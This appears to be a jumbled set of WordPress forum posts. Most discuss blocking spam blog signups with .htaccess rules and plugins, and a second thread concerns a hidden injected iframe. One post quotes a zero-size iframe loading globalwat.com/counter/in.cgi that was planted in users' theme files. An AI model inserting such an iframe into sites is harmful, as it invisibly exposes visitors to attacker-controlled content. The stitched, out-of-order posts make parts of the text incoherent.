so I got a tip, that now you can just put .tld (example .info) and it will work…I have tried it and so far it seems to be working.

So to sumarize, you don’t need to use the wildcards you just write .info, or .co.cc or .ru or whatever (as opposed to [email protected])

I will let you know if it continues to work.

I have this currently in my .htacess

# BEGIN ANTISPAMBLOG REGISTRATION
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} .wp-signup\.php*
RewriteCond %{HTTP_REFERER} !.*bostonbiker.org.* [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule (.*) https://bostonbiker.org/2009/11/18/stopping-spammers/ [R=301,L]
# END ANTISPAMBLOG REGISTRATION

should I take that \ out before .php?

nope, straight wp 3.0.1 I am running bbpress using the same db…

ok so I went back and checked, and now it seems that addresses that are clearly listed in the list of banned email domains, are still able to set up blogs…is this a known bug? Did something not update correctly? Anyone know a fix?

Thanks in advance.

so here is my current setup

Running
Hash Cash
bad behavior
the moderate new blogs plugin
block spam by math plugin
and akismet

Comment spam is totally gone, but I am still getting mad spolgs

at this point I am still hoping for the original hack (from the first post) that used to work in wpmu to get working in wp 3.0

If anyone is interested in helping me here is my problem.

I can successfully get it to email me the activation email instead of the user (the user gets an email that says, “hold on we are checking if you are a spammer” or whatever)

The problem being, I can’t figure out a way to include extra information in that email that is vital to determining if they are spammers or not. Namely I want to include their email address, and what they titled the blog.

In wpmu 2.9.2 it was easy to include a couple %s in the string it sent you and it just included that info, not so much in wp 3.0…any code gurus want to take a look and give me a hand I would be much appreciated.

You can find the functions in ms-functions.php (in wp-includes) function name is wpmu_signup_blog_notification, on line 639 (the relevant stuff starts after line 654).

Then right below that is the one for if they only want a user account, both functions are pretty much the same, so once you hack one you just do the same thing for the one below it.

Any help would be GREATLY appreciated, as I have a nice little community going and its driving me nuts to delete these users/blogs every day.

Thanks in advance.

Andrea are you using an .htaccess edit? If so what, and ipstenu I will install that and see how it goes.

does anyone else have a method for moderating signups that is a bit more streamlined than that plugin?

How do you currently deal with splogs?

well if you do look at the new one you will find its almost identical, but i don’t think the arrays are the same because the %s don’t pop out the same handy data.

What were you thinking about a moderated signup page?

i just did that, thanks ??

I am currently using that plug-in, but the problem is that that plug in allows the user to register a blog, and then you have to look up they user in the users tab, and the blog in the sites tab, and then if you figure they are spammer delete two things in two different places.

The beauty of your previous solution was all you had to do was delete the email if you thought they were spammers and they never got put into the system.

the code looks almost the same in both files, but I can’t figure out a way to hack it the way you so eloquently did in the article on your site.

found it, seems I was looking at the local copy of the footer.php, when I downloaded the server copy it was right there above the analytics script, deleted and fixed!

seems several others are having this problem and it has to do with this iframe

<iframe src=’https://globalwat.com/counter/in.cgi?four&#8217; align=’center’ width=’0′ height=’0′ frameborder=’0′></iframe>

but I can’t find out where it is being inserted

I am having the same problem with the same iframe, how did you remove it and where was it hiding? I don’t see it in my footer.php or any of the other theme files.

what plugins did you have?

I am having the exact same problem with my site https://www.sameroadssamerules.org I have not made any changes, running wordpress 2.9.1 and have turned off all plug in’s and it still happens.
